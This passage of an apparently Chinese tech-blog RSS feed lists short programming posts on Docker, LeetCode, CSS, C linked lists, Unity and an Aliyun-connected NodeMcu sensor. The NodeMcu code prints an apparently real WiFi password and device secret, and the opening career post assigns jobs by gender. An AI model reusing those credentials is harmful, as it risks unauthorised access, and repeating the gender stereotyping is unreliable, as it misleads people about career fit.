      <description>最近看悟空问答，很多人提问：“互联网行业女孩子做什么比较好？”，我也回复了很多这样的问题。今天发个微头条针对这个问题做一个总结。&#xA;先来讲讲互联网大概有哪些岗位，一般互联网企业都有以下岗位：1）产品岗 2）研发岗 3）UED 4）软件测试 5）运营岗 6）数据分析岗 7）系统运维岗 8）销售岗。&#xA;现在来讲讲女孩子在互联网行业从事什么岗位比较好。这个要根据自身的专业、工作经验、兴趣爱好和未来的职业规划综合去考虑。建议可以去看下招聘网站的这些岗位的招聘要求。我认为女孩子比较合适从事的岗位按我的理解分为几个层次，从上到下依次表示哪些是女孩子选择比较多的岗位。&#xA;第一、运营岗、软件测试、销售岗&#xA;互联网运营岗位是做用户运营、活动运营、平台运营等，软件测试是保证软件的正确性、完整性、安全性和质量。这两个岗位目前互联网企业女孩子相对来说比较多。另外有销售岗的互联网企业女性销售也是蛮多的。&#xA;第二、UED、产品岗&#xA;User Experience Design(用户体验设计)，简称UED。产品岗就是负责产品需求设计。这两个如果是有相关专业背景的女孩子从事会比较好。UED一般大学学习用户交互设计、视觉设计等设计类的专业的去学这个会比较好。产品岗一般是要求逻辑思维好，有相关的产品设计经验。&#xA;第二、研发岗、数据分析岗、系统运维岗&#xA;一般这三个岗位男的比较多，都是要求有严谨的逻辑思考能力，要有一定的编程能力。&#xA;综上所述，就是女孩子互联网做销售、运营、测试的会比较多。但是这个也不是绝对的，还是要根据自己的实际情况去选择。</description>
    </item>
    <item>
      <title>windows批量修改文件名或去掉文件名中的字符串</title>
      <link>https://bchobby.github.io/posts/29956601f515e7b945b53ef2797adbe4/</link>
      <pubDate>Wed, 29 Apr 2020 11:15:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29956601f515e7b945b53ef2797adbe4/</guid>
      <description> 复制下面代码到一个txt文本中，将后缀名修改为bat，双击运行即可。操作方式如下图&#xA;这里我去掉了新建两个字。&#xA;注意编码问题，如果打开是乱码，请先查看cmd的属性，然后将文本保存为对应字符编码。&#xA;复制下方代码：&#xA;@echo off set /p str1= 请输入要替换的文件(文件夹)名字符串（可替换空格）： set /p str2= 请输入替换后的文件(文件夹)名字符串（去除则直接回车）： echo. echo 正在修改文件(夹)名中，请稍候…… for /f &#34;delims=&#34; %%a in (&#39;dir /s /b ^|sort /+65535&#39;) do ( if &#34;%%~nxa&#34; neq &#34;%~nx0&#34; ( set &#34;file=%%a&#34; set &#34;name=%%~na&#34; set &#34;extension=%%~xa&#34; call set &#34;name=%%name:%str1%=%str2%%%&#34; setlocal enabledelayedexpansion ren &#34;!file!&#34; &#34;!name!!extension!&#34; 2&amp;gt;nul endlocal ) ) exit </description>
    </item>
    <item>
      <title>asp.net core部署在docker容器中运行</title>
      <link>https://bchobby.github.io/posts/a9d5d517c6bfd7d2f5c2be8f7e8e7c62/</link>
      <pubDate>Tue, 28 Apr 2020 23:24:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9d5d517c6bfd7d2f5c2be8f7e8e7c62/</guid>
      <description>文章目录 1、引言2、docker环境安装3、建立测试项目4、编写Dockerfile5、编译Dockerfile6、查看镜像7、运行容器8、测试访问9、总结 1、引言 前段时间将netcore项目部署在了centos 7的docker下，通过部署的过程中本篇文章用于介绍下在部署的时候相关步骤。&#xA;2、docker环境安装 我测试时使用的docker desktop,毕竟开发时基本上都是在windows下进行开发的，本地发布镜像运行程序开发完后可以发布到自己的私有镜像仓库中去（笔者使用的阿里的免费私有仓库）。&#xA;关于docker desktop有两种容器（linux container、windows container），运行时依赖Hyper-V虚拟机，安装的时候会自动开启Hyper-v。&#xA;运行后可以看到下图标记的虚拟机。&#xA;3、建立测试项目 直接使用dotnet-cli脚手架进行创建web项目，关于dotnet-cli的知识参见官网。&#xA;dotnet new web -n myapp 安装完成&#xA;切换到myapp目录&#xA;cd myapp 4、编写Dockerfile 创建Dockerfile文件&#xA;touch Dockerfile 注意：Dockerfile文件是没有后缀的&#xA;# 1. 设置基础镜像 FROM mcr.microsoft.com/dotnet/core/sdk:3.1 AS build # 2. 指定（编译和发布）工作目录 WORKDIR /app # 3. 将.csporj文件复制到工作目录“/app”下，然后执行“dotnet restore”还原nuget包 COPY *.csproj ./ RUN dotnet restore # 4. 将所有文件辅助到工作目录&#34;/app&#34;下，然后使用&#34;dotnet publish&#34;命令发布到“/app/out”目录下 COPY . ./ RUN dotnet publish -c Release -o out # 5. 编译生成Docker镜像 # 5.</description>
    </item>
    <item>
      <title>LeetCode 例题精讲 | 14 打家劫舍问题：动态规划的解题四步骤</title>
      <link>https://bchobby.github.io/posts/b4120302a3e0c9fecc6e4c6330c42546/</link>
      <pubDate>Tue, 28 Apr 2020 20:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4120302a3e0c9fecc6e4c6330c42546/</guid>
      <description>点击关注上方“五分钟学算法”，&#xA;设为“置顶或星标”，第一时间送达干货。&#xA;转自面向大象编程&#xA;本期例题：LeetCode 198. House Robber 打家劫舍（Easy）&#xA;你是一个专业的小偷，计划偷窃沿街的房屋。每间房内都藏有一定的现金，影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统，如果两间相邻的房屋在同一晚上被小偷闯入，系统会自动报警。&#xA;给定一个代表每个房屋存放金额的非负整数数组，计算你在不触动警报装置的情况下，能够偷窃到的最高金额。&#xA;示例：&#xA;输入: [1,2,3,1] 输出: 4 解释: 偷窃 1 号房屋 (金额 = 1) ，然后偷窃 3 号房屋 (金额 = 3)。 偷窃到的最高金额 = 1 + 3 = 4 。 House Robber 问题（翻译为小偷问题、打家劫舍问题）是一道非常经典的动态规划入门题目。如果你对于动态规划还不是很了解，或者没怎么做过动态规划的题目的话，那么我非常建议你用 House Robber 这道题来入门。&#xA;动态规划可能被很多同学奉为最难理解的算法题类型，因为它的解法很灵活，变化很多。但是动态规划又经常作为笔试题的压轴，我们不得不去面对它。&#xA;其实，动态规划是一类很讲究「触类旁通」的题型。很多动态规划的解法需要你做过某一类型的例题，再做类似的题目的时候就可以想起来相应的思路。如果你做过不少题目，但是拿到新的题目依然没有思路，那说明你做过的题目不够典型。例如很多文章拿来大讲特讲的换硬币问题，实际上并不太适合用来理解动态规划的思想。&#xA;这正是我写《LeetCode 例题精讲》系列文章的意义所在。我的文章会做到两点，一是选择最有代表性的例题，二是通过该例题讲解一类问题的解题套路。从本期开始的几篇文章我会讲解动态规划问题，每篇文章用一道最典型的例题，带你学习动态规划的解题套路。&#xA;本文选择一个非常典型的动态规划问题：打家劫舍，在一步步求解这道题的过程中，讲解动态规划题目的四个基本步骤。&#xA;动态规划的解题四步骤 动态规划的的四个解题步骤是：&#xA;定义子问题&#xA;写出子问题的递推关系&#xA;确定 DP 数组的计算顺序&#xA;空间优化（可选）&#xA;不瞒你说，在 LeetCode 上我做过的几十道动态规划题目，都是用这个解题四步骤做出来的。这个解题步骤适用于任何一道动态规划题目，能够让你很快理清解题的各个要点。&#xA;步骤一：定义子问题 稍微接触过一点动态规划的朋友都知道动态规划有一个「子问题」的定义。什么是子问题？子问题是和原问题相似，但规模较小的问题。例如这道打家劫舍问题，原问题是「从全部房子中能偷到的最大金额」，将问题的规模缩小，子问题就是「从 个房子中能偷到的最大金额」，用 表示。&#xA;打家劫舍问题的子问题定义 可以看到，子问题是参数化的，我们定义的子问题中有参数 。假设一共有 个房子的话，就一共有 个子问题。动态规划实际上就是通过求这一堆子问题的解，来求出原问题的解。这要求子问题需要具备两个性质：&#xA;原问题要能由子问题表示。例如这道题中， 时实际上就是原问题。否则，解了半天子问题还是解不出原问题，那子问题岂不是白解了。</description>
    </item>
    <item>
      <title>dedecms访问PC自动跳转相应手机模板</title>
      <link>https://bchobby.github.io/posts/5a1d990e38c07902ec7d530d3f251690/</link>
      <pubDate>Tue, 28 Apr 2020 17:06:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a1d990e38c07902ec7d530d3f251690/</guid>
      <description>dedecms访问PC自动跳转响应手机模板，代码如下：&#xA;首页：&#xA;var mobileAgent = new Array(&#34;iphone&#34;, &#34;ipod&#34;, &#34;ipad&#34;, &#34;android&#34;, &#34;mobile&#34;, &#34;blackberry&#34;, &#34;webos&#34;, &#34;incognito&#34;, &#34;webmate&#34;, &#34;bada&#34;, &#34;nokia&#34;, &#34;lg&#34;, &#34;ucweb&#34;, &#34;skyfire&#34;); var browser = navigator.userAgent.toLowerCase(); var isMobile = false; for (var i = 0; i &amp;lt; mobileAgent.length; i++) { if (browser.indexOf(mobileAgent[i]) != -1) { isMobile = true; location.href = &#39;http://m.xxx.com&#39;; break; } } -列表-&#xA;var mobileAgent = new Array(&#34;iphone&#34;, &#34;ipod&#34;, &#34;ipad&#34;, &#34;android&#34;, &#34;mobile&#34;, &#34;blackberry&#34;, &#34;webos&#34;, &#34;incognito&#34;, &#34;webmate&#34;, &#34;bada&#34;, &#34;nokia&#34;, &#34;lg&#34;, &#34;</description>
    </item>
    <item>
      <title>OPNET14.5安装问题解决</title>
      <link>https://bchobby.github.io/posts/073e834e90db0522d34006187bfaaefe/</link>
      <pubDate>Tue, 28 Apr 2020 15:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/073e834e90db0522d34006187bfaaefe/</guid>
      <description>第一次安装时运行，产生错误，主要是include头文件找不到，检查了下环境变量设置，必须设置在系统环境变量设置下，用户环境变量设置不行。&#xA;网络上和指导文档里会有环境变量设置的区别，这里贴出我的设置：&#xA;vs2005的路径要是真实的安装路劲作为环境变量。不然进不了C++编译器。vs2005安装好后必须启动下，看看能不能正常工作。最好按照环境变量设置的路径安装。&#xA;安装opnet的路径中不能有空格存在特别是系统自动放到Program Files中，这里有空格，是最大的坑。最好放到C:/OPNET下，这样路径简单不出错。&#xA;首次安装opnet运行错误，卸载后，记得要删除用户名下的op_文件，再重新安装一遍，再打开就能正常打开了。否则会自动进入上一次安装的路径，会找不到路径。</description>
    </item>
    <item>
      <title>windows 安装vim-plug</title>
      <link>https://bchobby.github.io/posts/15153353487e5574d506ca8da741da89/</link>
      <pubDate>Tue, 28 Apr 2020 10:23:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15153353487e5574d506ca8da741da89/</guid>
      <description>安装vim-plug 前提是已经安装好VIM，我本地安装的是VIM8.2，缺省安装路径&#xA;首先把插件克隆到本地（可以使用任何自己熟悉的工具）：&#xA;我用的是git bash CLI&#xA;git clone https://github.com/junegunn/vim-plug.git&#xA;cd vim-plug/&#xA;cp plug.vim ~/vimfiles/autoload/plug.vim&#xA;这样就安装好vim-plug了。注意这个只对当前用户生效。如果要对所有用户生效，可以把plug.vim安装到vim安装目录下的autoload。&#xA;配置 启动GVIM，点菜单Edit=&amp;gt;startup Settings:&#xA;添加以下几行&#xA;call plug#begin( &#39;~\vimfiles\plugin&#39;)&#xA;Plug &#39;junegunn/vim-easy-align&#39;&#xA;call plug#end()&#xA;说明：call plug#begin( &#39;~\vimfiles\plugin&#39;)指定VIM插件的安装目录。这时安装到当前用户的配置目录下，如果对全局用户可见，可以安装到VIM的安装目录下的plugin子目录下&#xA;Plug &#39;junegunn/vim-easy-align&#39;是指定的一个插件示例，根据自己的需要调整需要维护管理的插件&#xA;call plug#end()就是结束声明了&#xA;别忘记存盘退出&#xA;维护 现在，在VIM命令窗口中，可以执行:PlugXXX命令维护了。&#xA;比如：&#xA;：PlugInstall&#xA;: PlugStatus</description>
    </item>
    <item>
      <title>记录一下《DIY智慧小屋-带你玩转物联网》浙江大学MOOC的总结，推荐有兴趣的同学一起学习</title>
      <link>https://bchobby.github.io/posts/3aea2b8d47a76ddf3693609c5e2a5653/</link>
      <pubDate>Mon, 27 Apr 2020 18:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aea2b8d47a76ddf3693609c5e2a5653/</guid>
      <description>MOOC地址 http://163.lu/UAHy02&#xA;学习资料 源代码是课程提供的，加上自己的理解，写了很详细的注释小白也能看懂。还加一份DIY智慧小屋的操作手册。链接：https://pan.baidu.com/s/17_y_IPK5kff0O-nnm8tVrg&#xA;提取码：35b9&#xA;准备阶段 因为我是寒假疫情期间开始看的这个课，刚开始根据操作手册里购买清单里买了一些东西，不过大部分商品都过期了。下面是我买的一些模块。&#xA;1.控制器&#xA;ardunio驱动模块，和ardunio模块，如果自己有ardunio不需要自己买，买个驱动板就行，这个驱动板集成了EMW3080的WiFi模块，这个模块我接触的不多&#xA;复制这行话₴ny2Q1mIESB0₴转移至宝或點击链街https://m.tb.cn/h.ViSBr0K?sm=deb272 至瀏lan嘂…【智慧小屋驱动接口板，兼容arduino板接口，带WIFI模块EMW3080】&#xA;这家店现在提供定制了 ，不过不建议买全套，自己动手才有乐趣。&#xA;2.传感器&#xA;覆置这行话₤ntfD1mICCBw₤转移至氵匋宝或点几链街https://m.tb.cn/h.VRZ8rIp?sm=9674cc 至瀏…覽…噐【Risym 模块 MQ-9一氧化碳　可燃气体传感器检测报警模块】&#xA;这家店铺差不服都有。不过二氧化碳传感器不建议购买，太贵。如果有资金可以买来玩玩，不加这个模块相应的代码需要改一下&#xA;3.执行器&#xA;付致这行话₤EXfF1mIBjSV₤转移至宝或點击鏈→接https://m.tb.cn/h.VRPynOS?sm=008a03 至瀏lan嘂…【4CM导冷风扇 4010冷端散冷风扇 冷端蒸发风扇 12V微风量 40*10mm】&#xA;还有其他的空调，我都没买资金不到位 哈哈哈&#xA;平台搭建阶段 因为疫情期间发货比较慢，所以在这期间把mooc里的视频看了一遍，跟着老师把环境搭建好，跟着老师来没有什么困难。具体细节那个手册很详细，老师讲的也挺好。&#xA;收获 作为物联网工程的专业，看了这个慕课也是很有收获的。从感知层，网络层，应用层三个方面比较好的了解物联网的大体框架，对以后的学习也有帮助。物联网大致可以分成：感知层、网络层、平台层和应用层。了解了MQTT服务器，阿里云平台，Ardunio的使用，WIFI AT指令的使用，各种传感器的使用。&#xA;在课程中，我们可以直观看到物联网的分层架构，其与智慧小屋里相对应的关系为：感知层 主要是负责通过传感器设备来识别和收集信息，我们搭建了通过 Arduino 采集不同接口形式的传感数据的实例来学习感知层的构架； 网络层负责安全的把这些信息进行传输，我们通过 AT 指令，将数据通过 WiFi 传送到物联网平台端。平。台层负责数据的鉴权、接入和转发，我们以阿里云为例，讲述了接入云平台需要的鉴权方式、MQTT 协议。应用层负责结合具体的应用需求，利用 IoT Studio 这些先进的可视化工具，将建立服务编排，详细讲解了如何创立直观的 Web 显示、调度和控制的面，并可方便地编制出手机控制的 APP，通过实例让大家能快速掌握构架物联网系统原型的能力，并在云平台上对数据进行计算、 处理、挖掘，来实现智能化的物联网应用。&#xA;期间也遇到一些问题比如传感器初始化失败因为自己买的传感器参数与代码上的不一样，上云失败是因为标识符和代码中的标识符不一样等等，不过自己还是一点点解决了。&#xA;成果 自己没有定制亚克力板借用手册上的图片演示一下整屋的效果</description>
    </item>
    <item>
      <title>WWW废除后使用UnityWebRequest下载AB包（AssetBundle）</title>
      <link>https://bchobby.github.io/posts/040eefde004e20ebe04ea72348028dbd/</link>
      <pubDate>Mon, 27 Apr 2020 17:39:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/040eefde004e20ebe04ea72348028dbd/</guid>
      <description>WWW类废除，Unity提供了更加快捷的获取方式 ，如下：&#xA;IEnumerator GetAssetBundle()&#xA;{&#xA;//AB包路径&#xA;string bundlePath = Application.streamingAssetsPath + “/textrue”;&#xA;//直接使用UnityWebRequestAssetBundle获得AB包&#xA;UnityWebRequest www = UnityWebRequestAssetBundle.GetAssetBundle(bundlePath);&#xA;yield return www.SendWebRequest();&#xA;//最终获得&#xA;AssetBundle ab= DownloadHandlerAssetBundle.GetContent(www);&#xA;}&#xA;eg：2&#xA;/// /// 加载非预制对象&#xA;/// /// 本地路径or远端地址&#xA;/// 操作且显示的对象&#xA;/// 欲加载资源的名称&#xA;/// IEnumerator LoadNoObjAsset(string URL,GameObject showObj,string assetName)&#xA;{&#xA;//直接使用UnityWebRequestAssetBundle获得AB包&#xA;using (UnityWebRequest www = UnityWebRequestAssetBundle.GetAssetBundle(URL))&#xA;{&#xA;yield return www.SendWebRequest();&#xA;//最终获得&#xA;AssetBundle ab = DownloadHandlerAssetBundle.GetContent(www);&#xA;if (ab != null)&#xA;{&#xA;showObj.GetComponent().material.mainTexture = ab.LoadAsset(assetName);&#xA;//卸载资源(只卸载AB包本身)&#xA;ab.Unload(false);&#xA;}</description>
    </item>
    <item>
      <title>javaWeb项目怎么在pom.xml文件里面引入本地jar包</title>
      <link>https://bchobby.github.io/posts/bf1a03bef0620a29bc2be380ccefd764/</link>
      <pubDate>Mon, 27 Apr 2020 15:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf1a03bef0620a29bc2be380ccefd764/</guid>
      <description> javaWeb项目怎么在pom.xml文件里面引入本地jar包 日常开发中，有些jar包通过maven是找不到的，但是项目又需要这些包。如果是只在本地运行的话，那可以直接把jar包下载下来，然后build一下就可以了。但如果是联合开发，项目是多人共同开发的，你本地的jar包不提交或者没配置好的话，别人下载你的代码就会报错！而且发布到生产环境的时候也会运行报错的。所以，你不仅需要提交你本地的jar包，而且还要在配置文件里面配置对应的jar包地址。&#xA;比如我要用到下面的这些包：&#xA;首先，可以把这些包在项目下建一个文件夹，放在里面提交！我这里是放在web-info下面。&#xA;然后就是在pom.xml文件里面进行配置，比如我要引用smack-core-4.1.4.jar这个包，只需要在pom.xml里面加入下面的代码就行了，其它包也是一样的引入方式。之后编译一下项目就可以了。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;smack&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.4&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt; &amp;lt;systemPath&amp;gt;${project.basedir}/src/main/webapp/WEB-INF/lib/smack-core-4.1.4.jar&amp;lt;/systemPath&amp;gt; &amp;lt;/dependency&amp;gt; </description>
    </item>
    <item>
      <title>NodeMcu连接阿里云平台，加BMP280模块，主灯开关控制，实现温度压强数据的上云。</title>
      <link>https://bchobby.github.io/posts/2bbd554fef2cf5677c84bebdcdf4fa49/</link>
      <pubDate>Sun, 26 Apr 2020 21:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bbd554fef2cf5677c84bebdcdf4fa49/</guid>
      <description>成果演示 利用按钮操作可以直接控制nodemcu的led灯的亮灭，实时显示室内的温度和压强&#xA;硬件组成 一块Nodemcu开发板，bmp280模块&#xA;注意：在连接电路的时候要注意，SCL连接GPIO5，SDA连接GPIO4，利用IIC通信将数据传送给nodemcu开发板。&#xA;代码组成 这里只列举部分代码，这些代码也是借鉴别人自己改的，完整代码在&#xA;链接：https://pan.baidu.com/s/1oqfne9qCfDU2OLHqCQaZ_g&#xA;提取码：th87&#xA;#include &amp;lt;ESP8266WiFi.h&amp;gt; //安装esp8266arduino开发环境 #include &amp;lt;PubSubClient.h&amp;gt; //安装PubSubClient库 #include &amp;lt;ArduinoJson.h&amp;gt; //json V5版本 #include &#34;aliyun_mqtt.h&#34; //需要安装crypto库 #include &amp;lt;Wire.h&amp;gt; //#include &amp;lt;SPI.h&amp;gt; #include &amp;lt;Adafruit_Sensor.h&amp;gt; #include &amp;lt;Adafruit_BMP280.h&amp;gt; #define LED D4 #define WIFI_SSID &#34;TP-LINK_6B29&#34;//替换自己的WIFI #define WIFI_PASSWD &#34;wg15385778716..&#34;//替换自己的WIFI #define PRODUCT_KEY &#34;a1QA2EMzdKC&#34; //替换自己的PRODUCT_KEY #define DEVICE_NAME &#34;esp8266&#34; //替换自己的DEVICE_NAME #define DEVICE_SECRET &#34;12Q7UFMSloyEPxtJoKxewT2li7UMXw4i&#34;//替换自己的DEVICE_SECRET #define DEV_VERSION &#34;S-TH-WIFI-v1.0-20190220&#34; //固件版本信息 #define ALINK_BODY_FORMAT &#34;{\&#34;id\&#34;:\&#34;123\&#34;,\&#34;version\&#34;:\&#34;1.0\&#34;,\&#34;method\&#34;:\&#34;%s\&#34;,\&#34;params\&#34;:%s}&#34; #define ALINK_TOPIC_PROP_POST &#34;/sys/&#34; PRODUCT_KEY &#34;/&#34; DEVICE_NAME &#34;/thing/event/property/post&#34; #define ALINK_TOPIC_PROP_POSTRSP &#34;/sys/&#34; PRODUCT_KEY &#34;/&#34; DEVICE_NAME &#34;</description>
    </item>
    <item>
      <title>Java I/O之字节流与字符流的区别</title>
      <link>https://bchobby.github.io/posts/4e0b6a37e4d2580127d2ffd478e9dfd3/</link>
      <pubDate>Sun, 26 Apr 2020 18:17:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e0b6a37e4d2580127d2ffd478e9dfd3/</guid>
      <description> 字节流与字符流的区别： 上图解析：&#xA;字节输出流是直接把字节数据写出到磁盘或其他设备上，而字符输出流会先把字符输出流按一定的编码规则进行编码成二进制的字节输出流再写出到磁盘或其他设备上。字节输入流每次读取一个字节数据到内存（也可以使用缓冲区一次读取多个），而字符输入流是每次读取多个字节的数据到内存中，然后对读取的字节数据按照一定的编码规则进行解码，然后形成文本数据。总的来说，系统到磁盘或者其他设备上的数据，从其他数据读取到内存中时，都是字节数据，只是java封装了一层字节到字符或者字符到字节的工序。字节流适用于任何形式的数据；而字符流只适用于文本数据，不能用字符流来传输诸如图片、语言、视频等二进制数据。但是处理文本数据字符流要比字节流方便许多。使用字符输出流时一定要记得使用flush方法或者close方法把数据强制刷出到磁盘或其他设备，因为字符流会存在缓冲区，除非缓冲区满了才会自动刷出到磁盘或者其他设备中。使用字节流的话如果带有或者使用缓冲区的话，就也要强制刷出到磁盘或者其他设备中。 总结区别： 比较项字节流字符流基类OutputStream/InputStreamWriter/Reader操作的数据单位字节字符（多个字节）缓冲区可以有也可以无有适用数据任何只适用于文本类数据 </description>
    </item>
    <item>
      <title>CSS3中的transition和transform属性</title>
      <link>https://bchobby.github.io/posts/110e5a3c4756c6207e7d8b954203c031/</link>
      <pubDate>Sat, 25 Apr 2020 22:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/110e5a3c4756c6207e7d8b954203c031/</guid>
      <description>一、前言 开门见山的说，transition、transform和translate这三者经常有人搞混，先把这三者做一个简单解释：&#xA;transform是 转换，指的是改变所在元素的外观，它有很多种手段(转换函数)来改变外观，例如 位移、缩放、旋转 等，而其中的位移的函数名就叫translate，所以说，translate是transform的一部分。transition是 过渡，指的是某个CSS属性值如何平滑的进行改变，就是平常说的 动效。而transform是没有动画效果，你改变了它的值，元素的样子就唰的改变了。 二、transition 过渡 1.基本用法 好，接下来看一下transition的基本用法：&#xA;transition: [属性名] [持续时间] [速度曲线] [延迟时间]; 我们可以很方便的用这个过渡来给某一个属性加上好看的动效。例如，高度属性的值改变时，延迟 0.5 秒后以 ease 曲线进行过渡，持续2秒：&#xA;transition: height 2s ease .5s; 或者一个属性不够，想要监听所有属性。&#xA;transition: all 2s ease .5s; 注意，这里的所有属性是指能进行动画过渡的属性，有很多属性是不能进行过渡的，比如display，你不能让一个div的显示模式慢悠悠的发生过渡。&#xA;有了上面的认识时候搭配:hover等可以引起属性值变化的伪类时就可以很轻松的做出一个动画效果：&#xA;.box { width: 10px; transition: width 0.4s ease; } .box:hover { width: 50px; } 2.给多个属性指定同一个过渡 接下来深入一点，如果你想给多个属性指定同一个过渡的时候该怎么做？如下：同时监听宽度和高度进行过渡。&#xA;transition-property: width, height; transition-duration: 2s; transition-timing-function: ease; transition-delay: .5s; 但是，千万不要简写成这样！会报错的。至于为啥报错，看下一小节。&#xA;transition: height, width 2s ease .5s; 3.给多个属性指定多个过渡 咱们再深入一点，如果想指定height的过渡为2s，width的过渡为3s该怎么做呢？如下：</description>
    </item>
    <item>
      <title>C语言学习----链表及链表的基本操作</title>
      <link>https://bchobby.github.io/posts/4d61322393e22c697f52b729a4e35d31/</link>
      <pubDate>Sat, 25 Apr 2020 17:04:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d61322393e22c697f52b729a4e35d31/</guid>
      <description>关于链表的TIPS** 链表中各结点在内存中可以不是连续存放的在链表结点 的数据结构中，结构体内的指针域的数据类型可以使用未定义成功的数据类型，这是C语言中唯一规定可以先使用后定义的数据结构头指针：存放一个地址(头结点地址），指向第一个结点（一定不要把头结点当做头指针，头指针只不过是储存头结点的地址而已，我在学的时候这里总出错）具体链表的结构体建立，包括链表的指针域和数据域如下： struct student { int num; float score; student *next; }; 建立单链表的一些约定&#xA;- 每个结点类型用LinkList表示&#xA;- 数据域 data（类型：通用类型标识符 ElemType）&#xA;- 指针域 next typedef struct LNode { ElemType data; struct LNode *next; }LinkList; 创建单链表 头插法&#xA;新产生的结点作为新的表头插入链表&#xA;（第一次执行②的作用是确定尾指针NULL） #include&amp;lt;stdio.h&amp;gt; LinkList*CreateListF(ElemType a[],int n) { LinkList*head,*s; int i; head = (LinkList*)malloc(sizeof(LinkList)); //创建头结点 head-&amp;gt;next = NULL; for(i=0;i&amp;lt;n;i++) { s = (LinkList*)malloc(sizeof(LinkList)); //创建新结点 s-&amp;gt;data=a[i]; s-&amp;gt;next=head-&amp;gt;next; //第一次执行时是为了确定尾指针NULL head-&amp;gt;next=s; //将*s插在原开始结点之前、头结点之后 } return head; } 2.尾插法（ 一句话，相当于不断开创新的结点，然后不断将新的结点的地址当做尾结点。尾结点不断后移，而新创的结点时按照创建的先后顺序而连接的。先来先到）</description>
    </item>
    <item>
      <title>2018蓝桥杯A组:方格计数（3种方法）</title>
      <link>https://bchobby.github.io/posts/9ba6985ef317a86073a39b6abba2afe8/</link>
      <pubDate>Fri, 24 Apr 2020 22:09:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ba6985ef317a86073a39b6abba2afe8/</guid>
      <description>四、题目：方格计数&#xA;如图p1.png所示，在二维平面上有无数个1x1的小方格。&#xA;我们以某个小方格的一个顶点为圆心画一个半径为1000的圆。&#xA;你能计算出这个圆里有多少个完整的小方格吗？&#xA;注意：需要提交的是一个整数，不要填写任何多余内容&#xA;分析思路：&#xA;1.以原点为圆心,半径为1000，则x轴范围（-1000,1000），y轴范围（-1000,1000）&#xA;for(x:-1000~1000)&#xA;for(x:-1000~1000)&#xA;if(x^2+y ^2&amp;lt;=1000 ^2)&#xA;需要注意轴上的点是不能形成方格的（图中橘色的点）&#xA;2.可以将圆分成4等分，也就是4个卦限，选择其中一个算方格数，最后乘以4&#xA;以第一卦限为例&#xA;代码1：&#xA;public class Fanggenum { public static void main(String[] args) { int r=0; for(int i=-1000;i&amp;lt;=1000;i++) { for(int j=-1000;j&amp;lt;=1000;j++) { if(i==0||j==0) continue; if(i*i+j*j&amp;lt;=1000*1000) r++; } } System.out.println(r*4); } } 代码2：第一卦限&#xA;public class Fanggenum { public static void main(String[] args) { int r=0; for(int i=1;i&amp;lt;=1000;i++) { for(int j=1;j&amp;lt;=1000;j++) { if(i*i+j*j&amp;lt;=1000*1000) r++; } } System.out.println(r*4); } }&#x9;代码3：优化</description>
    </item>
    <item>
      <title>Android 常见横向滚动GridView效果实现及封装</title>
      <link>https://bchobby.github.io/posts/7a42486ba4b67ec97540e857487ca5dc/</link>
      <pubDate>Fri, 24 Apr 2020 17:40:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a42486ba4b67ec97540e857487ca5dc/</guid>
      <description>目录&#xA;1.需求分析&#xA;2.功能实现&#xA;3.使用说明&#xA;3.1 使用前准备&#xA;3.2 布局引用&#xA;3.3 适配器生成、绑定及数据更新&#xA;4.注意事项&#xA;5.最后&#xA;1.需求分析 京东首页分类栏滑动效果图 像直播间礼物列表和电商首页类别列表，常见出现这种需求：当前页展示效果为GridView样式，同时具有ViewPager换页效果&#xA;一般采用 ViewPager + RecyclerView 组合实现，本文 HorizontalGridView 只是在此基础上进行封装，以达到能更方便快捷实现该效果的目的&#xA;2.功能实现 HorizontalGridView展示效果 设计思路：&#xA;自定义 HorizontalGridView 继承 LinearLayout ，添加 ViewPager 和 TabLayout ，根据需要展示的 总数据数目 、 每行最大展示数目 及 每页最大展示数目 生成把多个 RecyclerView ，并填充到 ViewPager 中&#xA;需要实现带 圆角 的 指示器 / 指示器栏背景&#xA;为了提高该 View 适用性，该View需要支持设定 每行最大展示数目 及 每页最大展示数目&#xA;为了提高该 View 的使用便捷性，采用 适配器模式 和 观察者模式 进行封装设计&#xA;存在问题：当 HorizontalGridView 高度设置为 wrap_content 时，会出现占满全屏的现象。该现象因为 ViewPager 高度默认占满全屏造成。解决办法如下</description>
    </item>
    <item>
      <title>初识sed和gawk</title>
      <link>https://bchobby.github.io/posts/31d8e8b64a3b52d93036a6c4712c5bbf/</link>
      <pubDate>Fri, 24 Apr 2020 17:31:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31d8e8b64a3b52d93036a6c4712c5bbf/</guid>
